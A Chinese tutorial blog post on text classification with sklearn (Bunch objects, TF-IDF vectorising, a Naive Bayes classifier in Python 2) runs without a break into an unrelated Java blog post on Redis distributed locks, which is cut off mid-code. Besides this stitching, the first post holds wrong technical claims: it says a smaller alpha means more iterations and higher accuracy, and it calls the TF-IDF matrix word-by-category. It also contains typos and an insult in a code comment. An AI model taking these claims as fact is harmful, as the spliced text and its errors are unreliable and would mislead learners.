在本篇博文中,你对Bunch能够有这种层次的理解,就足够了。如果你想继续详细透彻的理解Bunch,请见博主的另一篇博文《暂时还没写,写完在这里更新链接》



接下来,让我们看看的我们的数据集(训练集)有哪些信息:

1,类别,也就是所有分类类别的集合,即我们./train_corpus_seg/和./test_corpus_seg/下的所有子目录的名字。我们在这里不妨把它叫做target_name(这是一个列表)

2,文本文件名。例如./train_corpus_seg/art/21.txt,我们可以把所有文件名集合在一起做一个列表,叫做filenames

3,文本标签(就是文本的类别),不妨叫做label(与2中的filenames一一对应)

例如2中的文本“21.txt”在./train_corpus_seg/art/目录下,则它的标签就是art。

文本标签与1中的类别区别在于:文本标签集合里面的元素就是1中类别,而文本标签集合的元素是可以重复的,因为./train_corpus_seg/art/目录下有好多文本,不是吗?相应的,1中的类别集合元素显然都是独一无二的类别。

4,文本内容(contens)。

上一步代码我们已经成功的把文本内容进行了分词,并且去除掉了所有的换行,得到的其实就是一行词袋(词向量),每个文本文件都是一个词向量。这里的文本内容指的就是这些词向量。



那么,用Bunch表示,就是:

from sklearn.datasets.base import Bunch

bunch = Bunch(target_name=[],label=[],filenames=[],contents=[]) 



我们在Bunch对象里面创建了有4个成员:

target_name:是一个list,存放的是整个数据集的类别集合。

label:是一个list,存放的是所有文本的标签。

filenames:是一个list,存放的是所有文本文件的名字。

contents:是一个list,分词后文本文件词向量形式



如果你还没有明白,看一下下面这个图,你总该明白了:

Bunch:



下面,我们将文本文件转为Bunch类形:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@version: python2.7.8 
@author: XiangguoSun
@contact: sunxiangguodut@qq.com
@file: corpus2Bunch.py
@time: 2017/2/7 7:41
@software: PyCharm
"""
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import os#python内置的包,用于进行文件目录操作,我们将会用到os.listdir函数
import cPickle as pickle#导入cPickle包并且取一个别名pickle
'''
事实上python中还有一个也叫作pickle的包,与这里的名字相同了,无所谓
关于cPickle与pickle,请参考博主另一篇博文:
python核心模块之pickle和cPickle讲解
http://blog.csdn.net/github_36326955/article/details/54882506
本文件代码下面会用到cPickle中的函数cPickle.dump
'''
from sklearn.datasets.base import Bunch
#这个您无需做过多了解,您只需要记住以后导入Bunch数据结构就像这样就可以了。
#今后的博文会对sklearn做更有针对性的讲解
def _readfile(path):
    '''读取文件'''
    #函数名前面带一个_,是标识私有函数
    # 仅仅用于标明而已,不起什么作用,
    # 外面想调用还是可以调用,
    # 只是增强了程序的可读性
    with open(path, "rb") as fp:#with as句法前面的代码已经多次介绍过,今后不再注释
        content = fp.read()
    return content
def corpus2Bunch(wordbag_path,seg_path):
    catelist = os.listdir(seg_path)# 获取seg_path下的所有子目录,也就是分类信息
    #创建一个Bunch实例
    bunch = Bunch(target_name=[], label=[], filenames=[], contents=[])
    bunch.target_name.extend(catelist)
    '''
    extend(addlist)是python list中的函数,意思是用新的list(addlist)去扩充原来的list
    '''
    # 获取每个目录下所有的文件
    for mydir in catelist:
        class_path = seg_path + mydir + "/"  # 拼出分类子目录的路径
        file_list = os.listdir(class_path)  # 获取class_path下的所有文件
        for file_path in file_list:  # 遍历类别目录下文件
            fullname = class_path + file_path  # 拼出文件名全路径
            bunch.label.append(mydir)
            bunch.filenames.append(fullname)
            bunch.contents.append(_readfile(fullname))  # 读取文件内容
            '''append(element)是python list中的函数,意思是向原来的list中添加element,注意与extend()函数的区别'''
    # 将bunch存储到wordbag_path路径中
    with open(wordbag_path, "wb") as file_obj:
        pickle.dump(bunch, file_obj)
    print "构建文本对象结束!!!"
if __name__ == "__main__":#这个语句前面的代码已经介绍过,今后不再注释
    #对训练集进行Bunch化操作:
    wordbag_path = "train_word_bag/train_set.dat"  # Bunch存储路径
    seg_path = "train_corpus_seg/"  # 分词后分类语料库路径
    corpus2Bunch(wordbag_path, seg_path)
    # 对测试集进行Bunch化操作:
    wordbag_path = "test_word_bag/test_set.dat"  # Bunch存储路径
    seg_path = "test_corpus_seg/"  # 分词后分类语料库路径
    corpus2Bunch(wordbag_path, seg_path)



3,结构化表示--向量空间模型

在第2节中,我们对原始数据集进行了分词处理,并且通过绑定为Bunch数据类型,实现了数据集的变量表示。事实上在第2节中,我们通过分词,已经将每一个文本文件表示为了一个词向量了。也许你对于什么是词向量并没有清晰的概念,这里有一篇非常棒的文章《Deep Learning in NLP (一)词向量和语言模型》,简单来讲,词向量就是词向量空间里面的一个向量。

你可以类比为三维空间里面的一个向量,例如:

如果我们规定词向量空间为:(我,喜欢,相国大人),这相当于三维空间里面的(x,y,z)只不过这里的x,y,z的名字变成了“我”,“喜欢”,“相国大人”



现在有一个词向量是:我喜欢  喜欢相国大人

表示在词向量空间中就变为:(1,2,1),归一化后可以表示为:(0.166666666667 0.333333333333 0.166666666667)表示在刚才的词向量空间中就是这样:





但是在我们第2节处理的这些文件中,词向量之间的单词个数并不相同,词向量的涵盖的单词也不尽相同。他们并不在一个空间里,换句话说,就是他们之间没有可比性,例如:

词向量1:我喜欢相国大人,对应的词向量空间是(我,喜欢,相国大人),可以表示为(1,1,1)

词向量2:她喜欢我,对应的词向量空间是(她,不,喜欢,我),可以表示为(1,1,1,1)

两个空间不一样



因此,接下来我们要做的,就是把所有这些词向量统一到同一个词向量空间中,例如,在上面的例子中,我们可以设置词向量空间为(我,喜欢,相国大人,她,不)

这样,词向量1和词向量2分别可以表示为(1,1,1,0,0)和(1,1,0,1,1),这样两个向量就都在同一个空间里面了。可以进行比较和各种运算了。



也许你已经发现了,这样做的一个很糟糕的结果是,我们要把训练集内所有出现过的单词,都作为一个维度,构建统一的词向量空间,即使是中等大小的文本集合,向量维度也很轻易就达到数十万维。为了节省空间,我们首先将训练集中每个文本中一些垃圾词汇去掉。所谓的垃圾词汇,就是指意义模糊的词,或者一些语气助词,标点符号等等,通常他们对文本起不了分类特征的意义。这些垃圾词汇我们称之为停用词。把所有停用词集合起来构成一张停用词表格,这样,以后我们处理文本时,就可以从这个根据表格,过滤掉文本中的一些垃圾词汇了。

你可以从这里下载停用词表:hlt_stop_words.txt

存放在这里路径中:train_word_bag/hlt_stop_words.txt



下面的程序,目的就是要将训练集所有文本文件(词向量)统一到同一个词向量空间中。值得一提的是,在词向量空间中,事实上不同的词,它的权重是不同的,它对文本分类的影响力也不同,为此我们希望得到的词向量空间不是等权重的空间,而是不同权重的词向量空间。我们把带有不同权重的词向量空间叫做“加权词向量空间”,也有的技术文档将其称为“加权向量词袋”,一个意思。



现在的问题是,如何计算不同词的权重呢?



4,权重策略--TF-IDF

什么是TF-IDF?今后有精力我会在这里更新补充,现在,先给你推荐一篇非常棒的文章《使用scikit-learn工具计算文本TF-IDF值



下面,我们假定你已经对TF-IDF有了最基本的了解。请你动动你的小脑袋瓜想一想,我们把训练集文本转换成了一个TF-IDF词向量空间,姑且叫它为A空间吧。那么我们还有测试集数据,我们以后实际运用时,还会有新的数据,这些数据显然也要转到词向量空间,那么应该和A空间为同一个空间吗?

是的。

即使测试集出现了新的词汇(不是停用词),即使新的文本数据有新的词汇,只要它不是训练集生成的TF-IDF词向量空间中的词,我们就都不予考虑。这就实现了所有文本词向量空间“大一统”,也只有这样,大家才在同一个世界里。才能进行下一步的研究。



下面的程序就是要将训练集所有文本文件(词向量)统一到同一个TF-IDF词向量空间中(或者叫做用TF-IDF算法计算权重的有权词向量空间)。这个词向量空间最终存放在train_word_bag/tfdifspace.dat中。

这段代码你可能有点看不懂,因为我估计你可能比较懒,还没看过TF-IDF(尽管我刚才已经给你推荐那篇文章了)。你只需要明白,它把一大坨训练集数据成功的构建了一个TF-IDF词向量空间,空间的各个词都是出自这个训练集(去掉了停用词)中,各个词的权值也都一并保存了下来,叫做权重矩阵。

需要注意的是,你要明白,权重矩阵是一个二维矩阵,a[i][j]表示,第i个词在第j个类别中的IF-IDF值(看到这里,我估计你压根就没去看那篇文章,所以你可能到现在也不知道 这是个啥玩意儿。。。)



请记住权重矩阵这个词,代码解释中我会用到。

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@version: python2.7.8 
@author: XiangguoSun
@contact: sunxiangguodut@qq.com
@file: vector_space.py
@time: 2017/2/7 17:29
@software: PyCharm
"""
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
# 引入Bunch类
from sklearn.datasets.base import Bunch
import cPickle as pickle#之前已经说过,不再赘述
from sklearn.feature_extraction.text import TfidfVectorizer#这个东西下面会讲
# 读取文件
def _readfile(path):
    with open(path, "rb") as fp:
        content = fp.read()
    return content
# 读取bunch对象
def _readbunchobj(path):
    with open(path, "rb") as file_obj:
        bunch = pickle.load(file_obj)
    return bunch
# 写入bunch对象
def _writebunchobj(path, bunchobj):
    with open(path, "wb") as file_obj:
        pickle.dump(bunchobj, file_obj)
#这个函数用于创建TF-IDF词向量空间
def vector_space(stopword_path,bunch_path,space_path):
    stpwrdlst = _readfile(stopword_path).splitlines()#读取停用词
    bunch = _readbunchobj(bunch_path)#导入分词后的词向量bunch对象
    #构建tf-idf词向量空间对象
    tfidfspace = Bunch(target_name=bunch.target_name, label=bunch.label, filenames=bunch.filenames, tdm=[], vocabulary={})
    '''在前面几节中,我们已经介绍了Bunch。
    target_name,label和filenames这几个成员都是我们自己定义的玩意儿,前面已经讲过不再赘述。下面我们讲一下tdm和vocabulary(这俩玩意儿也都是我们自己创建的):
    tdm存放的是计算后得到的TF-IDF权重矩阵。请记住,我们后面分类器需要的东西,其实就是训练集的tdm和标签label,因此这个成员是很重要的。
    vocabulary是词向量空间的索引,例如,如果我们定义的词向量空间是(我,喜欢,相国大人),那么vocabulary就是这样一个索引字典
    vocabulary={"我":0,"喜欢":1,"相国大人":2},你可以简单的理解为:vocabulary就是词向量空间的坐标轴,索引值相当于表明了第几个维度。我们现在就是要构建一个词向量空间,因此在初始时刻,这个tdm和vocabulary自然都是空的。如果你在这一步将vocabulary赋值了一个自定义的内容,那么,你是傻逼。
    '''
    '''与下面这2行代码等价的代码是:
    vectorizer=CountVectorizer()#构建一个计算词频(TF)的玩意儿,当然这里面不只是可以做这些
    transformer=TfidfTransformer()#构建一个计算TF-IDF的玩意儿
    tfidf=transformer.fit_transform(vectorizer.fit_transform(corpus))
    #vectorizer.fit_transform(corpus)将文本corpus输入,得到词频矩阵
    #将这个矩阵作为输入,用transformer.fit_transform(词频矩阵)得到TF-IDF权重矩阵看名字你也应该知道:
    Tfidf-Transformer + Count-Vectorizer  = Tfidf-Vectorizer下面的代码一步到位,把上面的两个步骤一次性全部完成值得注意的是,CountVectorizer()和TfidfVectorizer()里面都有一个成员叫做vocabulary_(后面带一个下划线)这个成员的意义,与我们之前在构建Bunch对象时提到的自己定义的那个vocabulary的意思是一样的,相当于词向量空间的坐标轴。显然,我们在第45行中创建tfidfspace中定义的vocabulary就应该被赋值为这个vocabulary_他俩还有一个叫做vocabulary(后面没有下划线)的参数,这个参数和我们第45中讲到的意思是一样的。那么vocabulary_和vocabulary的区别是什么呢?
    vocabulary_:是CountVectorizer()和TfidfVectorizer()的内部成员,表示最终得到的词向量空间坐标
    vocabulary:是创建CountVectorizer和TfidfVectorizer类对象时,传入的参数,它是我们外部输入的空间坐标,不写的话,函数就从输入文档中自己构造。一般情况它俩是相同的,不一般的情况没遇到过。
    '''
    #构建一个快乐地一步到位的玩意儿,专业一点儿叫做:使用TfidfVectorizer初始化向量空间模型
    #这里面有TF-IDF权重矩阵还有我们要的词向量空间坐标轴信息vocabulary_
    vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5)
    '''关于参数,你只需要了解这么几个就可以了:
    stop_words:传入停用词,以后我们获得vocabulary_的时候,就会根据文本信息去掉停用词得到
    vocabulary:之前说过,不再解释。
    sublinear_tf:计算tf值采用亚线性策略。比如,我们以前算tf是词频,现在用1+log(tf)来充当词频。
    smooth_idf:计算idf的时候log(分子/分母)分母有可能是0,smooth_idf会采用log(分子/(1+分母))的方式解决。默认已经开启,无需关心。
    norm:归一化,我们计算TF-IDF的时候,是用TF*IDF,TF可以是归一化的,也可以是没有归一化的,一般都是采用归一化的方法,默认开启.
    max_df:有些词,他们的文档频率太高了(一个词如果每篇文档都出现,那还有必要用它来区分文本类别吗?当然不用了呀),所以,我们可以设定一个阈值,比如float类型0.5(取值范围[0.0,1.0]),表示这个词如果在整个数据集中超过50%的文本都出现了,那么我们也把它列为临时停用词。当然你也可以设定为int型,例如max_df=10,表示这个词如果在整个数据集中超过10的文本都出现了,那么我们也把它列为临时停用词。
    min_df:与max_df相反,虽然文档频率越低,似乎越能区分文本,可是如果太低,例如10000篇文本中只有1篇文本出现过这个词,仅仅因为这1篇文本,就增加了词向量空间的维度,太不划算。当然,max_df和min_df在给定vocabulary参数时,就失效了。
    '''
    #此时tdm里面存储的就是if-idf权值矩阵
    tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
    tfidfspace.vocabulary = vectorizer.vocabulary_
    _writebunchobj(space_path, tfidfspace)
    print "if-idf词向量空间实例创建成功!!!"
if __name__ == '__main__':
    stopword_path = "train_word_bag/hlt_stop_words.txt"#停用词表的路径
    bunch_path = "train_word_bag/train_set.dat"  #导入训练集Bunch的路径
    space_path = "train_word_bag/tfdifspace.dat"  # 词向量空间保存路径
    vector_space(stopword_path,bunch_path,space_path)




上面的代码运行之后,会将训练集数据转换为TF-IDF词向量空间中的实例,保存在train_word_bag/tfdifspace.dat中,具体来说,这个文件里面有两个我们感兴趣的东西,一个是vocabulary,即词向量空间坐标,一个是tdm,即训练集的TF-IDF权重矩阵。



接下来,我们要开始第5步的操作,设计分类器,用训练集训练,用测试集测试。在做这些工作之前,你一定要记住,首先要把测试数据也映射到上面这个TF-IDF词向量空间中,也就是说,测试集和训练集处在同一个词向量空间(vocabulary相同),只不过测试集有自己的tdm,与训练集(train_word_bag/tfdifspace.dat)中的tdm不同而已。

同一个世界,同一个梦想。

至于说怎么弄,请看下节。



5,分类器

这里我们采用的是朴素贝叶斯分类器,今后我们会详细讲解它。

现在,你即便不知道这是个啥玩意儿,也一点不会影响你,这个分类器我们有封装好了的函数,MultinomialNB,这玩意儿获取训练集的权重矩阵和标签,进行训练,然后获取测试集的权重矩阵,进行预测(给出预测标签)。



下面我们开始动手实践吧!



首先,我们要把测试数据也映射到第4节中的那个TF-IDF词向量空间上:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@version: python2.7.8 
@author: XiangguoSun
@contact: sunxiangguodut@qq.com
@file: test.py
@time: 2017/2/8 11:39
@software: PyCharm
"""
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
# 引入Bunch类
from sklearn.datasets.base import Bunch
import cPickle as pickle
from sklearn.feature_extraction.text import TfidfVectorizer
def _readfile(path):
    with open(path, "rb") as fp:
        content = fp.read()
    return content
def _readbunchobj(path):
    with open(path, "rb") as file_obj:
        bunch = pickle.load(file_obj)
    return bunch
def _writebunchobj(path, bunchobj):
    with open(path, "wb") as file_obj:
        pickle.dump(bunchobj, file_obj)
def vector_space(stopword_path,bunch_path,space_path,train_tfidf_path):
    stpwrdlst = _readfile(stopword_path).splitlines()
    bunch = _readbunchobj(bunch_path)
    tfidfspace = Bunch(target_name=bunch.target_name, label=bunch.label, filenames=bunch.filenames, tdm=[], vocabulary={})
    #导入训练集的TF-IDF词向量空间
    trainbunch = _readbunchobj(train_tfidf_path)
    tfidfspace.vocabulary = trainbunch.vocabulary
    vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5,vocabulary=trainbunch.vocabulary)
    tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
    _writebunchobj(space_path, tfidfspace)
    print "if-idf词向量空间实例创建成功!!!"
if __name__ == '__main__':
    stopword_path = "train_word_bag/hlt_stop_words.txt"#停用词表的路径
    bunch_path = "test_word_bag/test_set.dat"   # 词向量空间保存路径
    space_path = "test_word_bag/testspace.dat"   # TF-IDF词向量空间保存路径
    train_tfidf_path="train_word_bag/tfdifspace.dat"
    vector_space(stopword_path,bunch_path,space_path,train_tfidf_path)


你已经发现了,这段代码与第4节几乎一模一样,唯一不同的就是在第39~41行中,我们导入了第4节中训练集的IF-IDF词向量空间,并且第41行将训练集的vocabulary赋值给测试集的vocabulary,第43行增加了入口参数vocabulary,原因在上一节中都已经说明,不再赘述。

考虑到第4节和刚才的代码几乎完全一样,因此我们可以将这两个代码文件统一为一个:



#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@version: python2.7.8 
@author: XiangguoSun
@contact: sunxiangguodut@qq.com
@file: TFIDF_space.py
@time: 2017/2/8 11:39
@software: PyCharm
"""
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
from sklearn.datasets.base import Bunch
import cPickle as pickle
from sklearn.feature_extraction.text import TfidfVectorizer
def _readfile(path):
    with open(path, "rb") as fp:
        content = fp.read()
    return content
def _readbunchobj(path):
    with open(path, "rb") as file_obj:
        bunch = pickle.load(file_obj)
    return bunch
def _writebunchobj(path, bunchobj):
    with open(path, "wb") as file_obj:
        pickle.dump(bunchobj, file_obj)
def vector_space(stopword_path,bunch_path,space_path,train_tfidf_path=None):
    stpwrdlst = _readfile(stopword_path).splitlines()
    bunch = _readbunchobj(bunch_path)
    tfidfspace = Bunch(target_name=bunch.target_name, label=bunch.label, filenames=bunch.filenames, tdm=[], vocabulary={})
    if train_tfidf_path is not None:
        trainbunch = _readbunchobj(train_tfidf_path)
        tfidfspace.vocabulary = trainbunch.vocabulary
        vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5,vocabulary=trainbunch.vocabulary)
        tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
    else:
        vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5)
        tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
        tfidfspace.vocabulary = vectorizer.vocabulary_
    _writebunchobj(space_path, tfidfspace)
    print "if-idf词向量空间实例创建成功!!!"
if __name__ == '__main__':
    stopword_path = "train_word_bag/hlt_stop_words.txt"
    bunch_path = "train_word_bag/train_set.dat"
    space_path = "train_word_bag/tfdifspace.dat"
    vector_space(stopword_path,bunch_path,space_path)
    bunch_path = "test_word_bag/test_set.dat"
    space_path = "test_word_bag/testspace.dat"
    train_tfidf_path="train_word_bag/tfdifspace.dat"
    vector_space(stopword_path,bunch_path,space_path,train_tfidf_path)




哇哦,你好棒!现在连注释都不用,就可以看懂代码了。。。



对测试集进行了上述处理后,接下来的步骤,变得如此轻盈和优雅。



#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@version: python2.7.8 
@author: XiangguoSun
@contact: sunxiangguodut@qq.com
@file: NBayes_Predict.py
@time: 2017/2/8 12:21
@software: PyCharm
"""
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import cPickle as pickle
from sklearn.naive_bayes import MultinomialNB  # 导入多项式贝叶斯算法
# 读取bunch对象
def _readbunchobj(path):
    with open(path, "rb") as file_obj:
        bunch = pickle.load(file_obj)
    return bunch
# 导入训练集
trainpath = "train_word_bag/tfdifspace.dat"
train_set = _readbunchobj(trainpath)
# 导入测试集
testpath = "test_word_bag/testspace.dat"
test_set = _readbunchobj(testpath)
# 训练分类器:输入词袋向量和分类标签,alpha:0.001 alpha越小,迭代次数越多,精度越高
clf = MultinomialNB(alpha=0.001).fit(train_set.tdm, train_set.label)
# 预测分类结果
predicted = clf.predict(test_set.tdm)
for flabel,file_name,expct_cate in zip(test_set.label,test_set.filenames,predicted):
    if flabel != expct_cate:
        print file_name,": 实际类别:",flabel," -->预测类别:",expct_cate
print "预测完毕!!!"
# 计算分类精度:
from sklearn import metrics
def metrics_result(actual, predict):
    print '精度:{0:.3f}'.format(metrics.precision_score(actual, predict,average='weighted'))
    print '召回:{0:0.3f}'.format(metrics.recall_score(actual, predict,average='weighted'))
    print 'f1-score:{0:.3f}'.format(metrics.f1_score(actual, predict,average='weighted'))
metrics_result(test_set.label, predicted)



出错的这个,是我故意制造的,(因为实际分类精度100%,不能很好的说明问题)

效果图:



 

当然,你也可以采用其他分类器,比如KNN



6,评价与小结

评价部分的实际操作我们已经在上一节的代码中给出了。这里主要是要解释一下代码的含义,以及相关的一些概念。

截止目前,我们已经完成了全部的实践工作。接下来,你或许希望做的是:

1,分词工具和分词算法的研究

2,文本分类算法的研究

这些内容,博主会在今后的时间里,专门研究并写出博文。



整个工程的完整源代码到这里下载:

https://github.com/sunxiangguo/chinese_text_classification

需要说明的是,在工程代码和本篇博文中,细心的你已经发现了,我们所有的路径前面都有一个点“. /”,这主要是因为我们不知道您会将工程建在哪个路径内,因此这个表示的是你所在项目的目录,本篇博文所有路径都是相对路径。因此你需要自己注意一下。工程里面语料库是空的,因为上传资源受到容量的限制。你需要自己添加。

7,进一步的讨论

我们的这些工作究竟实不实用?这是很多人关心的问题。事实上,本博文的做法,是最经典的文本分类思想。也是你进一步深入研究文本分类的基础。在实际工作中,用本文的方法,已经足够胜任各种情况了。


那么,我们也许想问,有没有更好,更新的技术?答案是有的。未来,博主会集中介绍两种技术:
1.利用LDA模型进行文本分类
2.利用深度学习进行文本分类


利用深度学习进行文本分类,要求你必须对深度学习的理论有足够多的掌握。
为此,你可以参考博主的其他博文,
例如下面的这个系列博文《卷积神经网络CNN理论到实践》。
这是一些列的博文。与网上其他介绍CNN的博文不同的是:
  1. 我们会全方位,足够深入的为你讲解CNN的知识。包括很多,你之前在网上找了很多资料也没搞清楚的东西。
  2. 我们会利用CNN做文本分类的实践。
  3. 我们会绘制大量精美的示意图。保证博文的高质量和美观。






8,At last





welcome!

Xiangguo Sun 

sunxiangguodut@qq.com 

http://blog.csdn.net/github_36326955 



Welcome to my blog column: Dive into ML/DL!

(click here to blog column Dive into ML/DL)

这里写图片描述


I devote myself to dive into typical algorithms on machine learning and deep learning, especially the application in the area of computational personality.

My research interests include computational personality, user portrait, online social network, computational society, and ML/DL. In fact you can find the internal connection between these concepts: 

这里写图片描述

In this blog column, I will introduce some typical algorithms about machine learning and deep learning used in OSNs(Online Social Networks), which means we will include NLP, networks community, information diffusion,and individual recommendation systemApparently, our ultimate target is to dive into user portrait , especially the issues on your personality analysis.


All essays are created by myself, and copyright will be reserved by me. You can use them for non-commercical intention and if you are so kind to donate me, you can scan the QR code below. All donation will be used to the library of charity for children in Lhasa.



Redis分布式锁的正确实现方式(Java版) - 吴大山的博客 | Wudashan Blog

$
0
0

本博客使用第三方开源组件Jedis实现Redis客户端,且只考虑Redis服务端单机部署的场景。

前言

分布式锁一般有三种实现方式:1. 数据库乐观锁;2. 基于Redis的分布式锁;3. 基于ZooKeeper的分布式锁。本篇博客将介绍第二种方式,基于Redis实现分布式锁。虽然网上已经有各种介绍Redis分布式锁实现的博客,然而他们的实现却有着各种各样的问题,为了避免误人子弟,本篇博客将详细介绍如何正确地实现Redis分布式锁。


可靠性

首先,为了确保分布式锁可用,我们至少要确保锁的实现同时满足以下四个条件:

  1. 互斥性。在任意时刻,只有一个客户端能持有锁。
  2. 不会发生死锁。即使有一个客户端在持有锁的期间崩溃而没有主动解锁,也能保证后续其他客户端能加锁。
  3. 具有容错性。只要大部分的Redis节点正常运行,客户端就可以加锁和解锁。
  4. 解铃还须系铃人。加锁和解锁必须是同一个客户端,客户端自己不能把别人加的锁给解了。

代码实现

组件依赖

首先我们要通过Maven引入Jedis开源组件,在pom.xml文件加入下面的代码:

<dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>2.9.0</version></dependency>

加锁代码

正确姿势

Talk is cheap, show me the code。先展示代码,再带大家慢慢解释为什么这样实现:

public class RedisTool {
    private static final String LOCK_SUCCESS = "OK";
    private static final String SET_IF_NOT_EXIST = "NX";
    private static final String SET_WITH_EXPIRE_TIME = "PX";
    /**
     * 尝试获取分布式锁
     * @param jedis Redis客户端
     * @param lockKey 锁
     * @param requestId 请求标识
     * @param expireTime 超期时间
     * @return 是否获取成功
     */
    public static boolean tryGetDistributedLock(Jedis jedis, String lockKey, String requestId, int expireTime) {
        String result = jedis.set(lockKey, requestId, SET_IF_NOT_EXIST, SET_WITH_EXPIRE_TIME, expireTime);
        if (LOCK_SUCCESS.equals(result)) {
            return true;
        }
        return false;
    }
}

可以看到,我们加锁就一行代码:jedis.set(String key, String value, String nxxx, String expx, int time),这个set()方法一共有五个形参:

  • 第一个为key,我们使用key来当锁,因为key是唯一的。

  • 第二个为value,我们传的是requestId,很多童鞋可能不明白,有key作为锁不就够了吗,为什么还要用到value?原因就是我们在上面讲到可靠性时,分布式锁要满足第四个条件解铃还须系铃人,通过给value赋值为requestId,我们就知道这把锁是哪个请求加的了,在解锁的时候就可以有依据。requestId可以使用UUID.randomUUID().toString()方法生成。

  • 第三个为nxxx,这个参数我们填的是NX,意思是SET IF NOT EXIST,即当key不存在时,我们进行set操作;若key已经存在,则不做任何操作;

  • 第四个为expx,这个参数我们传的是PX,意思是我们要给这个key加一个过期的设置,具体时间由第五个参数决定。

  • 第五个为time,与第四个参数相呼应,代表key的过期时间。

总的来说,执行上面的set()方法就只会导致两种结果:1. 当前没有锁(key不存在),那么就进行加锁操作,并对锁设置个有效期,同时value表示加锁的客户端。2. 已有锁存在,不做任何操作。

心细的童鞋就会发现了,我们的加锁代码满足我们可靠性里描述的三个条件。首先,set()加入了NX参数,可以保证如果已有key存在,则函数不会调用成功,也就是只有一个客户端能持有锁,满足互斥性。其次,由于我们对锁设置了过期时间,即使锁的持有者后续发生崩溃而没有解锁,锁也会因为到了过期时间而自动解锁(即key被删除),不会发生死锁。最后,因为我们将value赋值为requestId,代表加锁的客户端请求标识,那么在客户端在解锁的时候就可以进行校验是否是同一个客户端。由于我们只考虑Redis单机部署的场景,所以容错性我们暂不考虑。

错误示例1

比较常见的错误示例就是使用jedis.setnx()jedis.expire()组合实现加锁,代码如下:

public static void wrongGetLock1(Jedis jedis, String lockKey, String requestId, int expireTime) {
    Long result = jedis.setnx(lockKey, requestId);
    if (result == 1) {
        // 若在这里程序突然崩溃,则无法设置过期时间,将发生死锁
        jedis.expire(lockKey, expireTime);
    }
}

setnx()方法作用就是SET IF NOT EXIST,expire()方法就是给锁加一个过期时间。乍一看好像和前面的set()方法结果一样,然而由于这是两条Redis命令,不具有原子性,如果程序在执行完setnx()之后突然崩溃,导致锁没有设置过期时间。那么将会发生死锁。网上之所以有人这样实现,是因为低版本的jedis并不支持多参数的set()方法。

错误示例2

这一种错误示例就比较难以发现问题,而且实现也比较复杂。实现思路:使用jedis.setnx()命令实现加锁,其中key是锁,value是锁的过期时间。执行过程:1. 通过setnx()方法尝试加锁,如果当前锁不存在,返回加锁成功。2. 如果锁已经存在则获取锁的过期时间,和当前时间比较,如果锁已经过期,则设置新的过期时间,返回加锁成功。代码如下:

public static boolean wrongGetLock2(Jedis jedis, String lockKey, int expireTime) {
    long expires = System.currentTimeMillis() + expireTime;
    String expiresStr = String.valueOf(expires);
    // 如果当前锁不存在,返回加锁成功
    if (jedis.setnx(lockKey, expiresStr) == 1) {
        return true;
    }
    // 如果锁存在,获取锁的过期时间
    String currentValueStr = jedis.get(lockKey);
    if (currentValueStr != null && Long.parseLong(currentValueStr) < System.currentTimeMillis()) {
        // 锁已过期,获取上一个锁的过期时间,并设置现在锁的过期时间
        String oldValueStr = jedis.getSet(lockKey, expiresStr);
        if (oldValueStr != null && oldValueStr.equals(currentValueStr)) {
            // 考虑多线程并发的情况,只有一个线程的设置值和当前值相同,它才有权利加锁
            return true;
        }
    }
    // 其他情况,一律返回加锁失败
    return false;
}

那么这段代码问题在哪里?1. 由于是客户端自己生成过期时间,所以需要强制要求分布式下每个客户端的时间必须同步。 2. 当锁过期的时候,如果多个客户端同时执行jedis.getSet()方法,那么虽然最终只有一个客户端可以加锁,但是这个客户端的锁的过期时间可能被其他客户端覆盖。3. 锁不具备拥有者标识,即任何客户端都可以解锁。

解锁代码

正确姿势

还是先展示代码,再带大家慢慢解释为什么这样实现:

public class RedisTool {
    private static final Long RELEASE_SUCCESS = 1L;
    /**
     * 释放分布式锁
     * @param jedis Redis客户端
     * @param lockKey 锁
     * @param requestId 请求标识
     * @return 是否释放成功
     */
    public static boolean releaseDistributedLock(Jedis jedis, String lockKey, String requestId) {
        String script = "if redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end";
        Object result = jedis.eval(script, Collections.singletonList(lockKey), Collections.singletonList(requestId));
        if (RELEASE_SUCCESS.equals(result)) {
            return true;
        }
        return false;
    }
}

可以看到,我们解锁只需要两行代码就搞定了!第一行代码,我们写了一个简单的Lua脚本代码,上一次见到这个编程语言还是在《黑客与画家》里,没想到这次居然用上了。第二行代码,我们将Lua代码传到jedis.eval()方法里,并使参数KEYS[1]赋值为lockKey,ARGV[1]赋值为requestId。eval()方法是将Lua代码交给Redis服务端执行。

那么这段Lua代码的功能是什么呢?其实很简单,首先获取锁对应的value值,检查是否与requestId相等,如果相等则删除锁(解锁)。那么为什么要使用Lua语言来实现呢?因为要确保上述操作是原子性的。关于非原子性会带来什么问题,可以阅读【解锁代码-错误示例2】。那么为什么执行eval()方法可以确保原子性,源于Redis的特性,下面是官网对eval命令的部分解释:

简单来说,就是在eval命令执行Lua代码的时候,Lua代码将被当成一个命令去执行,并且直到eval命令执行完成,Redis才会执行其他命令。

错误示例1

最常见的解锁代码就是直接使用jedis.del()方法删除锁,这种不先判断锁的拥有者而直接解锁的方式,会导致任何客户端都可以随时进行解锁,即使这把锁不是它的。

public static void wrongReleaseLock1(Jedis jedis, String lockKey) {
    jedis.del(lockKey);
}

错误示例2

这种解锁代码乍一看也是没问题,甚至我之前也差点这样实现,与正确姿势差不多,唯一区别的是分成两条命令去执行,代码如下:

public static void wrongReleaseLock2(Jedis jedis, String lockKey, String requestId) {
